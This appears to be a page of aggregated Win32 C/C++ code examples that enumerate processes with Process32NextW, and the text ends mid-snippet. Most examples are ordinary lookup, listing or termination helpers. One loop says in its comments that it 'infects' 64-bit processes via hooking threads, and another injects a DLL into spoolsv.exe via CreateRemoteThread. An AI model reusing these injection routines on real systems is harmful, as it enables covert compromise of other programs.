Beispiel #1
0
void StartPolling(void)
{
	HANDLE hProcessSnap;
	PROCESSENTRY32W pe32;
	DWORD wait_time;

	LOOP {
		wait_time = HM_PTSLEEPTIME;
		pe32.dwSize = sizeof( PROCESSENTRY32W );
		if ( (hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 )) != INVALID_HANDLE_VALUE ) {
			if( Process32FirstW( hProcessSnap, &pe32 ) ) {	
				// Cicla la lista dei processi attivi
				do {
					// Tenta di infettare solo i processi a 64bit (diversi dal nostro!)
					if (pe32.th32ProcessID==GetCurrentProcessId() || !IsX64Process(pe32.th32ProcessID))
						continue;

					// Vede se e' in bypass e non e' di system
					if (IsToBypass(pe32.szExeFile) || !IsMyProcess(pe32.th32ProcessID))
						continue;

					// Se e' ok lo infetta (lo fara' solo la prima volta)
					if (StartHookingThread(pe32.th32ProcessID))
						wait_time = HM_PTSLEEPTIME*4;

				} while( Process32NextW( hProcessSnap, &pe32 ) );
			}
			CloseHandle( hProcessSnap );
		}
		HandleMessages();
		Sleep(wait_time);
	} 
}
Beispiel #2
0
/// <summary>
/// Enumerate processes
/// </summary>
/// <returns>Error code</returns>
DWORD MainDlg::FillProcessList()
{
    PROCESSENTRY32W pe32 = { 0 };
    pe32.dwSize = sizeof(pe32);

    HWND hCombo = GetDlgItem( _hMainDlg, IDC_COMBO_PROC );

    ComboBox_ResetContent( hCombo );

    HANDLE hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if (hSnap == NULL)
        return GetLastError();

    for (BOOL res = Process32FirstW( hSnap, &pe32 ); res; res = Process32NextW( hSnap, &pe32 ))
    {
        wchar_t text[255] = { 0 };
        swprintf_s( text, L"%ls (%d)", pe32.szExeFile, pe32.th32ProcessID );

        int idx = ComboBox_AddString( hCombo, text );
        ComboBox_SetItemData( hCombo, idx, pe32.th32ProcessID );
    }

    CloseHandle( hSnap );

    return 0;
}
// Returns a process id based on the process name eg notepad.exe
DWORD CInjector::GetProcessIdByName(std::wstring processName)
{
	HANDLE hSnap;
	DWORD pId = 0;
	PROCESSENTRY32W pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);

	try {
		// Create a system wide snapshot of all processes
		hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (!hSnap) {
			throw std::exception("Could not create process snapshot");
		}

		// Iterate the process list and add the names to our list
		if (!Process32FirstW(hSnap, &pe32)) {
			throw std::exception("Enumerating processes failed");
		}

		do {
			if (std::wstring(pe32.szExeFile) == processName) {
				pId = pe32.th32ProcessID;
				break;
			}
		} while (Process32NextW(hSnap, &pe32));

		CloseHandle(hSnap);
		return pId;
	}
	catch (std::exception e) {
		CloseHandle(hSnap);
		throw;
	}
}
Beispiel #4
0
uint32_t pid_from_process_name(const wchar_t *process_name)
{
    PROCESSENTRY32W row; HANDLE snapshot_handle;

    snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(snapshot_handle == INVALID_HANDLE_VALUE) {
        error("[-] Error obtaining snapshot handle: %ld\n", GetLastError());
    }

    row.dwSize = sizeof(row);
    if(Process32FirstW(snapshot_handle, &row) == FALSE) {
        error("[-] Error enumerating the first process: %ld\n",
            GetLastError());
    }

    do {
        if(wcsicmp(row.szExeFile, process_name) == 0) {
            CloseHandle(snapshot_handle);
            return row.th32ProcessID;
        }
    } while (Process32NextW(snapshot_handle, &row) != FALSE);

    CloseHandle(snapshot_handle);

    error("[-] Error finding process by name: %S\n", process_name);
    return 0;
}
Beispiel #5
0
DWORD ProcessAccessHelp::getProcessByName(const WCHAR * processName)
{
    DWORD dwPID = 0;
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);

    if( !Process32FirstW( hProcessSnap, &pe32 ) )
    {
#ifdef DEBUG_COMMENTS
        Scylla::debugLog.log(L"getProcessByName :: Error getting first Process");
#endif
        CloseHandle( hProcessSnap );
        return 0;
    }

    do
    {
        if(!_wcsicmp(pe32.szExeFile, processName))
        {
            dwPID = pe32.th32ProcessID;
            break;
        }
    } while(Process32NextW(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);

    return dwPID;
}
Beispiel #6
0
/**
 * Determines if there is at least one process running for the specified
 * application. A match will be found across any session for any user.
 *
 * @param process The process to check for existance
 * @return ERROR_NOT_FOUND if the process was not found
 *         ERROR_SUCCESS if the process was found and there were no errors
 *         Other Win32 system error code for other errors
**/
DWORD
IsProcessRunning(LPCWSTR filename)
{
  // Take a snapshot of all processes in the system.
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == snapshot) {
    return GetLastError();
  }

  PROCESSENTRY32W processEntry;
  processEntry.dwSize = sizeof(PROCESSENTRY32W);
  if (!Process32FirstW(snapshot, &processEntry)) {
    DWORD lastError = GetLastError();
    CloseHandle(snapshot);
    return lastError;
  }

  do {
    if (wcsicmp(filename, processEntry.szExeFile) == 0) {
      CloseHandle(snapshot);
      return ERROR_SUCCESS;
    }
  } while (Process32NextW(snapshot, &processEntry));
  CloseHandle(snapshot);
  return ERROR_NOT_FOUND;
}
Beispiel #7
0
/*
 * @implemented
 */
BOOL
WINAPI
Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
{
  PROCESSENTRY32W pe;
  BOOL Ret;

  CHECK_PARAM_SIZEA(lppe, sizeof(PROCESSENTRY32));

  pe.dwSize = sizeof(PROCESSENTRY32W);

  Ret = Process32NextW(hSnapshot, &pe);
  if(Ret)
  {
    lppe->cntUsage = pe.cntUsage;
    lppe->th32ProcessID = pe.th32ProcessID;
    lppe->th32DefaultHeapID = pe.th32DefaultHeapID;
    lppe->th32ModuleID = pe.th32ModuleID;
    lppe->cntThreads = pe.cntThreads;
    lppe->th32ParentProcessID = pe.th32ParentProcessID;
    lppe->pcPriClassBase = pe.pcPriClassBase;
    lppe->dwFlags = pe.dwFlags;

    WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, lppe->szExeFile, sizeof(lppe->szExeFile), 0, 0);
  }

  return Ret;
}
Beispiel #8
0
void ProcessProxy::KillProcess(const wchar_t* processName)
{
	HANDLE tool = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	PROCESSENTRY32W pe = {0};
	pe.dwSize = sizeof(PROCESSENTRY32W);

	if ( !Process32First(tool, &pe) )
	{
		int errorId = GetLastError();
		CloseHandle(tool);
		return;
	}

	do 
	{
		if ( 0 == wcscmp(pe.szExeFile, processName) )
		{
			HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
			TerminateProcess(hProcess, -1);
		}

	} while ( Process32NextW(tool, &pe) );

	CloseHandle(tool);
}
// Scans all processes in the system and stores them in a list (by name)
int CInjector::RefreshProcessList()
{
	// Clear the old list to make space for updated one
	processNames.clear();

	HANDLE hSnap;
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);

	try {
		// Create a system wide snapshot of all processes
		hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (!hSnap) {
			throw std::exception("Could not create process snapshot");
		}

		// Iterate the process list and add the names to our list
		if (!Process32FirstW(hSnap, &pe32)) {
			throw std::exception("Enumerating processes failed");
		}

		do {
			processNames.push_back(pe32.szExeFile);
		} while (Process32NextW(hSnap, &pe32));

		CloseHandle(hSnap);
		return 1;
	}
	catch (std::exception e) {
		CloseHandle(hSnap);
		throw;
	}
}
Beispiel #10
0
HANDLE WINAPI search_process(LPCWSTR lpstr, DWORD m_parent)
{
    BOOL   b_more;
    PROCESSENTRY32W pe32;
    HANDLE hSnapshot = INVALID_HANDLE_VALUE;
    DWORD  chi_pid[PROCESS_NUM] = {0};
    HANDLE m_handle = NULL;
    volatile int    i = 1;
    static   int    h_num = 1;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if( hSnapshot == INVALID_HANDLE_VALUE )
    {
#ifdef _LOGDEBUG
        logmsg("CreateToolhelp32Snapshot (of processes) error %lu\n",GetLastError() );
#endif
        return m_handle;
    }
    chi_pid[0] = m_parent;
    pe32.dwSize=sizeof(pe32);
    b_more = Process32FirstW(hSnapshot,&pe32);
    while (b_more)
    {
        if ( m_parent == pe32.th32ParentProcessID )
        {
            chi_pid[i++] = pe32.th32ProcessID;
            if (i>=PROCESS_NUM)
            {
                break;
            }
        }
        if ( lpstr && pe32.th32ParentProcessID>4 && StrStrIW((LPWSTR)lpstr,(LPCWSTR)pe32.szExeFile) )
        {
            m_handle = (HANDLE)pe32.th32ProcessID;
            break;
        }
        b_more = Process32NextW(hSnapshot,&pe32);
    }
    CloseHandle(hSnapshot);
    if ( !m_handle && chi_pid[0] )
    {
        for ( i=1 ; i<PROCESS_NUM&&h_num<PROCESS_NUM; ++i )
        {
            HANDLE tmp = OpenProcess(PROCESS_TERMINATE, FALSE, chi_pid[i]);
            if ( NULL != tmp )
            {
                g_handle[h_num++] =  tmp;
                search_process(NULL, chi_pid[i]);
            }
        }
    }
    return m_handle;
}
//----------------------------------------------------------------------------------------------
//	AutomaticChange
//----------------------------------------------------------------------------------------------
VOID CStatusAreaIcon::AutomaticChange( DWORD ProcessID )
{
	//	プロセスのスナップショットを作成する
	HANDLE	ProcessSnapshot	= CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

	//	プロセスのエントリを取得する
	PROCESSENTRY32	ProcessEntry;
	ZeroMemory( &ProcessEntry, sizeof( PROCESSENTRY32 ) );
	ProcessEntry.dwSize = sizeof( PROCESSENTRY32 );
	Process32FirstW( ProcessSnapshot, &ProcessEntry );
	//	全てのプロセスを処理する
	do
	{
		//	フォアグラウンドのアプリケーションを探す
		if( ProcessEntry.th32ProcessID == ProcessID )
		{
			//	モジュール名を切り出す
			WCHAR	ModuleName[MAX_PATH];
			if( wcschr( ProcessEntry.szExeFile, '\\' ) == NULL )
			{
				wcscpy_s( ModuleName, ProcessEntry.szExeFile );
			} else {
				wcscpy_s( ModuleName, &(wcsrchr( ProcessEntry.szExeFile, '\\' )[1]) );
			}

			//	モジュール名と一致するコントローラーの設定を検索する
			for( LONG Index = 1; Index < Setting->SettingCount; Index ++ )
			{
				if(	( _wcsicmp( ModuleName, Setting->SettingName[Index] ) == 0 )
				&&	( Setting->CurrentSettingIndex != Index ) )
				{
					//	コントローラーの設定を変更する
					Setting->Change( Index, TRUE );
					Setting->SaveRegistry();
					Device->Apply();
					break;
				}
			}
			break;
		}
	} while( Process32NextW(ProcessSnapshot, &ProcessEntry ) );

	//	スナップショットを閉じる
	CloseHandle( ProcessSnapshot );
}
Beispiel #12
0
/// <summary>
/// Search for process by executable name
/// </summary>
/// <param name="name">Process name. If empty - function will retrieve all existing processes</param>
/// <param name="found">Found processses</param>
void Process::EnumByName( const std::wstring& name, std::vector<DWORD>& found )
{
    HANDLE hProcSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

    if (hProcSnap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32W tEntry = { 0 };
        tEntry.dwSize = sizeof(PROCESSENTRY32W);

        // Iterate threads
        for (BOOL success = Process32FirstW( hProcSnap, &tEntry );
              success == TRUE; 
              success = Process32NextW( hProcSnap, &tEntry ))
        {
            if (name.empty() || _wcsicmp( tEntry.szExeFile, name.c_str() ) == 0)
                found.emplace_back( tEntry.th32ProcessID );
        }

        CloseHandle( hProcSnap );
    }
}
Beispiel #13
0
/// <summary>
/// Search for process by executable name
/// </summary>
/// <param name="name">Process name. If empty - function will retrieve all existing processes</param>
/// <param name="found">Found processses</param>
std::vector<DWORD> Process::EnumByName( const std::wstring& name )
{
    std::vector<DWORD> found;
    auto hProcSnap = SnapHandle( CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) );
    if (!hProcSnap)
        return found;

    PROCESSENTRY32W tEntry = { 0 };
    tEntry.dwSize = sizeof( PROCESSENTRY32W );

    // Iterate threads
    for (BOOL success = Process32FirstW( hProcSnap, &tEntry );
        success != FALSE;
        success = Process32NextW( hProcSnap, &tEntry ))
    {
        if (name.empty() || _wcsicmp( tEntry.szExeFile, name.c_str() ) == 0)
            found.emplace_back( tEntry.th32ProcessID );
    }

    return found;
}
Beispiel #14
0
// [2015/12/15 wupeng]
// if failed return 0, success return the Process ID
DWORD GetSpecificProcIDByName(LPWSTR lpName)
{
    DWORD resProcessID = 0;
    if (ISNULL(lpName))
    {
        DOLOG("Process Name can't be null");
        return 0;
    }

    if (ISFALSE(EnableDebugPrivilege(TRUE)))
    {
        DOLOG("EnableDebugPrivilege Failed !");
        return 0;
    }

    PROCESSENTRY32W pe32;
    ZeroMemory(&pe32, sizeof(pe32));

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        DOLOG(" CreateToolhelp32Snapshot Failed ! \n" + GetLastError());
        return 0;
    }

    BOOL bMore = Process32FirstW(hProcessSnap, &pe32);
    while (bMore)
    {
        DOLOGW(L" >>" + pe32.szExeFile + L" : " + pe32.th32ProcessID);
        if (lstrcmpW(pe32.szExeFile, lpName) == 0)
        {
            resProcessID = pe32.th32ProcessID;
        }
        bMore = Process32NextW(hProcessSnap, &pe32);
    }

    // 不要忘记清除掉snapshot对象
    CloseHandle(hProcessSnap);
    return resProcessID;
}
Beispiel #15
0
Process Process::findByExeName(wstring name)
{
	WinHandle procSnap(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0), CloseHandle);

	if (procSnap.handle() == INVALID_HANDLE_VALUE)
	{
		DWORD errcode = GetLastError();
		BOOST_THROW_EXCEPTION(ex_injection() << e_api_function("CreateToolhelp32Snapshot") << e_text("could not get process snapshot for '" + to_string(name) + "'") << e_last_error(errcode));
	}

	PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) };
	if (Process32FirstW(procSnap.handle(), &pe32))
	{
		do
		{
			if (boost::iequals(name, pe32.szExeFile))
				return Process::open(pe32.th32ProcessID);
		} while (Process32NextW(procSnap.handle(), &pe32));
	}

	BOOST_THROW_EXCEPTION(ex_injection() << e_text("could not get find process '" + to_string(name) + "'"));
}
Beispiel #16
0
/*
=======================================
    进程枚举
=======================================
*/
CR_API UINT WINAPI
ProcessList (
  __CR_OT__ PROCESSENTRY32W**   list
    )
{
    BOOL            goon;
    HANDLE          snap;
    PROCESSENTRY32W temp;

    /* 取得所有进程信息 */
    snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return (0);

    std::vector<PROCESSENTRY32W>    vlist;

    /* 枚举进程 */
    temp.dwSize = sizeof(PROCESSENTRY32W);
    goon = Process32FirstW(snap, &temp);
    while (goon) {
        vlist.push_back(temp);
        temp.dwSize = sizeof(PROCESSENTRY32W);
        goon = Process32NextW(snap, &temp);
    }
    CloseHandle(snap);

    size_t  size = vlist.size();

    /* 返回进程列表 */
    if (size == 0)
        return (0);
    size *= sizeof(PROCESSENTRY32W);
    *list = (PROCESSENTRY32W*)mem_malloc(size);
    if (*list == NULL)
        return (0);
    memcpy(*list, &vlist[0], size);
    return (vlist.size());
}
Beispiel #17
0
bool enumprocess(wchar_t *name, FPROC f32, void *arg32, FPROC f64, void *arg64){
	HANDLE hProcessSnap;
	HANDLE hProcess;
	PROCESSENTRY32W pe32;
	DWORD dwPriorityClass;
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE){
		return false;
	}

	pe32.dwSize = sizeof(PROCESSENTRY32W);
	if (!Process32FirstW(hProcessSnap, &pe32)){
		CloseHandle(hProcessSnap);
		return false;
	}

	bool fstop = false;
	do{
		if (!name || !_wcsicmp(pe32.szExeFile, name)){
			HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
			if (hProcess){
				if (!iswow64(hProcess) && iswow64((HANDLE)-1)){
					if (f64) 
						fstop = !f64(pe32.th32ProcessID, arg64);
				}
				else{
					if (f32) {
						dbg(VINFO, L"injecting %s", pe32.szExeFile);
						fstop = !f32(pe32.th32ProcessID, arg32);
					}
				}
				CloseHandle(hProcess);
			}
		}
	} while (Process32NextW(hProcessSnap, &pe32) && !fstop);
	CloseHandle(hProcessSnap);
	return !fstop;
}
Beispiel #18
0
/* forcibly kill all processes without any cleanup */
void kill_processes( BOOL kill_desktop )
{
    BOOL res;
    UINT killed;
    HANDLE handle, snapshot;
    PROCESSENTRY32W process;

    GetWindowThreadProcessId( GetDesktopWindow(), &desktop_pid );

    do
    {
        if (!(snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ))) break;

        killed = 0;
        process.dwSize = sizeof(process);
        for (res = Process32FirstW( snapshot, &process ); res; res = Process32NextW( snapshot, &process ))
        {
            if (process.th32ProcessID == GetCurrentProcessId()) continue;
            if (process.th32ProcessID == desktop_pid) continue;
            WINE_TRACE("killing process %04x %s\n",
                       process.th32ProcessID, wine_dbgstr_w(process.szExeFile) );
            if (!(handle = OpenProcess( PROCESS_TERMINATE, FALSE, process.th32ProcessID )))
                continue;
            if (TerminateProcess( handle, 0 )) killed++;
            CloseHandle( handle );
        }
        CloseHandle( snapshot );
    } while (killed > 0);

    if (desktop_pid && kill_desktop)  /* do this last */
    {
        if ((handle = OpenProcess( PROCESS_TERMINATE, FALSE, desktop_pid )))
        {
            TerminateProcess( handle, 0 );
            CloseHandle( handle );
        }
    }
}
Beispiel #19
0
bool BoIInjector::IsBoIRunning()
{
    bool isaac_running = false;

    PROCESSENTRY32W proc_entry = { 0 };
    proc_entry.dwSize = sizeof(proc_entry);
    HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (proc_snapshot == INVALID_HANDLE_VALUE)
        throw std::runtime_error("[IsBoIRunning] Unable to obtain the system's process list to check if Isaac is running.");
    if (!Process32FirstW(proc_snapshot, &proc_entry))
        throw std::runtime_error("[IsBoIRunning] Unable to read the system's process list to check if Isaac is running.");
    do
    {
        if (std::wstring(proc_entry.szExeFile) == WCHAR_BOI_PROCESS_NAME)
        {
            isaac_running = true;
            break;
        }
    } while (Process32NextW(proc_snapshot, &proc_entry));
    CloseHandle(proc_snapshot);

    return isaac_running;
}
bool CMDIClient::killKernel(bool bKill)
{
	bool bReturn = false;
	wchar_t p[260] = {L"moneyhub.exe"};
	this->getPriviledge();

	HANDLE hand = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if(hand != INVALID_HANDLE_VALUE)
	{
		PROCESSENTRY32W pew = {sizeof(PROCESSENTRY32W)};
		bool bHaveOther=false;
		Process32FirstW(hand,&pew );	

		do{
			_wcslwr_s(pew.szExeFile, 260);

			if(!wcscmp(pew.szExeFile,p) && GetCurrentProcessId()!=pew.th32ProcessID)
			{
				HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pew.th32ProcessID);
				if( h )
				{
					if( TerminateProcess(h, 1) )
						bReturn = true;

					CloseHandle(h);
				}
			}

		}while(Process32NextW(hand,&pew));


		CloseHandle(hand);	
	}

	return bReturn ;
}
Beispiel #21
0
static int CountRunnings()
{
	HANDLE h;
	PROCESSENTRY32W pe;

	h=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
	pe.dwSize=sizeof(pe);
	Process32FirstW(h,&pe);

	String szModule = GetModuleName(0);

	int Count=0;
	while(true)
	{
		if(!_wcsicmp(L"dcmap.exe",pe.szExeFile))
		{
			  HANDLE h;
			  MODULEENTRY32 mdl;
			  h=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe.th32ProcessID);
			  mdl.dwSize=sizeof(MODULEENTRY32);
			  Module32First(h,&mdl);
			  while(1)
			  {
				if(szModule == mdl.szExePath)
				{
					Count++;
					break;
				}
				if (!Module32Next(h,&mdl)) break;
			  }
			  CloseHandle(h);
		}
		if (!Process32NextW(h,&pe)) break;
	  }
	  return Count;
}
Beispiel #22
0
static void
_DoDLLInjection()
{
    DWORD cbDLLPath;
    HANDLE hProcess;
    HANDLE hSnapshot;
    HANDLE hThread;
    PROCESSENTRY32W pe;
    PVOID pLoadLibraryAddress;
    PVOID pLoadLibraryArgument;
    PWSTR p;
    WCHAR wszFilePath[MAX_PATH];

    // Get the full path to our EXE file.
    if (!GetModuleFileNameW(NULL, wszFilePath, _countof(wszFilePath)))
    {
        DPRINT("GetModuleFileNameW failed with error %lu!\n", GetLastError());
        return;
    }

    // Replace the extension.
    p = wcsrchr(wszFilePath, L'.');
    if (!p)
    {
        DPRINT("File path has no file extension: %S\n", wszFilePath);
        return;
    }

    wcscpy(p, L".dll");
    cbDLLPath = (wcslen(wszFilePath) + 1) * sizeof(WCHAR);

    // Create a snapshot of the currently running processes.
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        DPRINT("CreateToolhelp32Snapshot failed with error %lu!\n", GetLastError());
        return;
    }

    // Enumerate through all running processes.
    pe.dwSize = sizeof(pe);
    if (!Process32FirstW(hSnapshot, &pe))
    {
        DPRINT("Process32FirstW failed with error %lu!\n", GetLastError());
        return;
    }

    do
    {
        // Check if this is the spooler server process.
        if (wcsicmp(pe.szExeFile, L"spoolsv.exe") != 0)
            continue;

        // Open a handle to the process.
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
        if (!hProcess)
        {
            DPRINT("OpenProcess failed with error %lu!\n", GetLastError());
            return;
        }

        // Get the address of LoadLibraryW.
        pLoadLibraryAddress = (PVOID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
        if (!pLoadLibraryAddress)
        {
            DPRINT("GetProcAddress failed with error %lu!\n", GetLastError());
            return;
        }

        // Allocate memory for the DLL path in the spooler process.
        pLoadLibraryArgument = VirtualAllocEx(hProcess, NULL, cbDLLPath, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!pLoadLibraryArgument)
        {
            DPRINT("VirtualAllocEx failed with error %lu!\n", GetLastError());
            return;
        }

        // Write the DLL path to the process memory.
        if (!WriteProcessMemory(hProcess, pLoadLibraryArgument, wszFilePath, cbDLLPath, NULL))
        {
            DPRINT("WriteProcessMemory failed with error %lu!\n", GetLastError());
            return;
        }

        // Create a new thread in the spooler process that calls LoadLibraryW as the start routine with our DLL as the argument.
        // This effectively injects our DLL into the spooler process and we can inspect localspl.dll there just like the spooler.
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryAddress, pLoadLibraryArgument, 0, NULL);
        if (!hThread)
        {
            DPRINT("CreateRemoteThread failed with error %lu!\n", GetLastError());
            return;
        }

        CloseHandle(hThread);
        break;
    }
    while (Process32NextW(hSnapshot, &pe));
}
Beispiel #23
0
XT_DECLARE(xt_state_t) xt_proc_wait_all_procs( xt_proc_t *proc, int *exitcode, xt_exit_why_t *exitwhy, xt_wait_how_t waithow )
{
	DWORD  dwId    = GetCurrentProcessId();
    DWORD  i;
    DWORD  nChilds = 0;
    DWORD  nActive = 0;
    HANDLE ps32;
    PROCESSENTRY32W pe32;
    BOOL   bHasMore = FALSE;
    DWORD  dwFlags  = PROCESS_QUERY_INFORMATION;
    xt_state_t rv = XT_EGENERAL;

    if ( waithow == XT_WAIT )
        dwFlags |= SYNCHRONIZE;

	ps32 = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if ( !(ps32) )
	{
        return xt_get_os_error();
    }
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if ( !Process32FirstW(ps32, &pe32) )
	{
        if (GetLastError() == ERROR_NO_MORE_FILES)
            return XT_EOF;
        else
            return xt_get_os_error();
    }
    do {
        DWORD  dwRetval = 0;
        DWORD  nHandles = 0;
        HANDLE hProcess = NULL;
        HANDLE pHandles[MAXIMUM_WAIT_OBJECTS];
        do {
            if (pe32.th32ParentProcessID == dwId)
			{
                nChilds++;
                if ( (hProcess = OpenProcess(dwFlags, FALSE, pe32.th32ProcessID)) != NULL )
				{
                    if ( GetExitCodeProcess(hProcess, &dwRetval) )
					{
                        if (dwRetval == STILL_ACTIVE)
						{
                            nActive++;
                            if (waithow == XT_WAIT)
                                pHandles[nHandles++] = hProcess;
                            else
                                CloseHandle(hProcess);
                        }
                        else
						{                                
                            /* Process has exited.
                                * No need to wait for its termination.
                                */
                            CloseHandle(hProcess);
                            if (exitcode)
                                *exitcode = dwRetval;
                            if (exitwhy)
                                *exitwhy  = why_from_exit_code(dwRetval);
                            proc->pid = pe32.th32ProcessID;
                        }
                    }
                    else
					{
                        /* Unexpected error code.
                            * Cleanup and return;
                            */
                        rv = xt_get_os_error();
                        CloseHandle(hProcess);
                        for ( i=0; i<nHandles; i++ )
                            CloseHandle(pHandles[i]);
                        return rv;
                    }
                }
                else {
                    /* This is our child, so it shouldn't happen
                        * that we cannot open our child's process handle.
                        * However if the child process increased the
                        * security token it might fail.
                        */
                }
            }
			bHasMore = Process32NextW( ps32, &pe32 );
        } while ( (bHasMore) && nHandles<MAXIMUM_WAIT_OBJECTS );

        if ( nHandles )
		{
            /* Wait for all collected processes to finish */
            DWORD waitStatus = WaitForMultipleObjects(nHandles, pHandles, TRUE, INFINITE);
            for ( i=0; i<nHandles; i++ )
                CloseHandle(pHandles[i]);
            if ( waitStatus == WAIT_OBJECT_0 )
			{
                /* Decrease active count by the number of awaited
                    * processes.
                    */
                nActive -= nHandles;
            }
            else
			{
                /* Broken from the infinite loop */
                break;
            }
        }
    } while (bHasMore);
    CloseHandle(ps32);

    if ( waithow != XT_WAIT )
	{
        if ( nChilds && nChilds == nActive )
		{
            /* All child processes are running */
            rv = XT_CHILD_NOTDONE;
            proc->pid = -1;
        }
        else {
            /* proc->pid contains the pid of the
                * exited processes
                */
            rv = XT_CHILD_DONE;
        }
    }

    if (nActive == 0) {
        rv = XT_CHILD_DONE;
        proc->pid = -1;
    }

    return rv;
}
int CBankProcessMgr::GetProcList(LPCTSTR szName, std::vector<HANDLE>& vecProcess)
{
	/////////////////////////////////first
	// 	if (m_hDll == NULL)
	// 		return 0;
	// 
	// 	vecProcess.clear();
	// 
	// 	DWORD arrProcesses[1024];
	// 	DWORD dwNeeded;
	// 
	// 	if (!m_fEnumProcesses(arrProcesses, sizeof(arrProcesses), &dwNeeded))
	// 		return 0;
	// 
	// 	DWORD cProcesses = dwNeeded / sizeof(DWORD);
	// 
	// 	for (DWORD i = 0; i < cProcesses; i++)
	// 	{
	// 		if (arrProcesses[i] != 0)
	// 		{
	// 			TCHAR szProcessName[MAX_PATH] = _T("");
	// 			HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, arrProcesses[i]);//财金汇安全策略不允许
	// 
	// 			if (NULL != hProcess)
	// 			{
	// 				HMODULE hMod;
	// 				DWORD dwNeeded;
	// 
	// 				if (m_fEnumProcessModules(hProcess, &hMod, sizeof(hMod), &dwNeeded))
	// 				{
	// 					m_fGetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
	// 					if (0 == _tcsicmp(szProcessName, szName))
	// 						vecProcess.push_back(hProcess);
	// 				}
	// 			}
	// 
	// 			CloseHandle(hProcess);
	// 		}
	// 	}
	// 
	// 	return vecProcess.size();
	////////////////////////////////////////second
	if (m_hDll == NULL)
		return 0;

	vecProcess.clear();

	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if( INVALID_HANDLE_VALUE == hSnap)
		return 0;

	PROCESSENTRY32W pew = { sizeof(PROCESSENTRY32W) };
	if( Process32FirstW(hSnap, &pew))
	{
		do 
		{
			HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pew.th32ProcessID);
			if( hProcess )
			{
				if (0 == _tcsicmp(pew.szExeFile, szName))
					vecProcess.push_back(hProcess);
			}
		} while (Process32NextW(hSnap, &pew));
	}

	CloseHandle(hSnap);
	return vecProcess.size();
	/////////////////////////////////////////
}
static RBOOL
    getSnapshot
    (
        processEntry* toSnapshot
    )
{
    RBOOL isSuccess = FALSE;
    RU32 i = 0;

    if( NULL != toSnapshot )
    {
        rpal_memory_zero( toSnapshot, sizeof( g_snapshot_1 ) );
    }

    if( NULL != toSnapshot )
    {
#ifdef RPAL_PLATFORM_WINDOWS
        HANDLE hSnapshot = NULL;
        PROCESSENTRY32W procEntry = { 0 };
        procEntry.dwSize = sizeof( procEntry );

        if( INVALID_HANDLE_VALUE != ( hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) ) )
        {
            if( Process32FirstW( hSnapshot, &procEntry ) )
            {
                isSuccess = TRUE;

                do
                {
                    if( 0 == procEntry.th32ProcessID )
                    {
                        continue;
                    }

                    toSnapshot[ i ].pid = procEntry.th32ProcessID;
                    toSnapshot[ i ].ppid = procEntry.th32ParentProcessID;
                    i++;
                } while( Process32NextW( hSnapshot, &procEntry ) &&
                         MAX_SNAPSHOT_SIZE > i );
            }

            CloseHandle( hSnapshot );
        }
#elif defined( RPAL_PLATFORM_LINUX )
        RWCHAR procDir[] = _WCH( "/proc/" );
        rDir hProcDir = NULL;
        rFileInfo finfo = {0};

        if( rDir_open( (RPWCHAR)&procDir, &hProcDir ) )
        {
            isSuccess = TRUE;

            while( rDir_next( hProcDir, &finfo ) &&
                   MAX_SNAPSHOT_SIZE > i )
            {
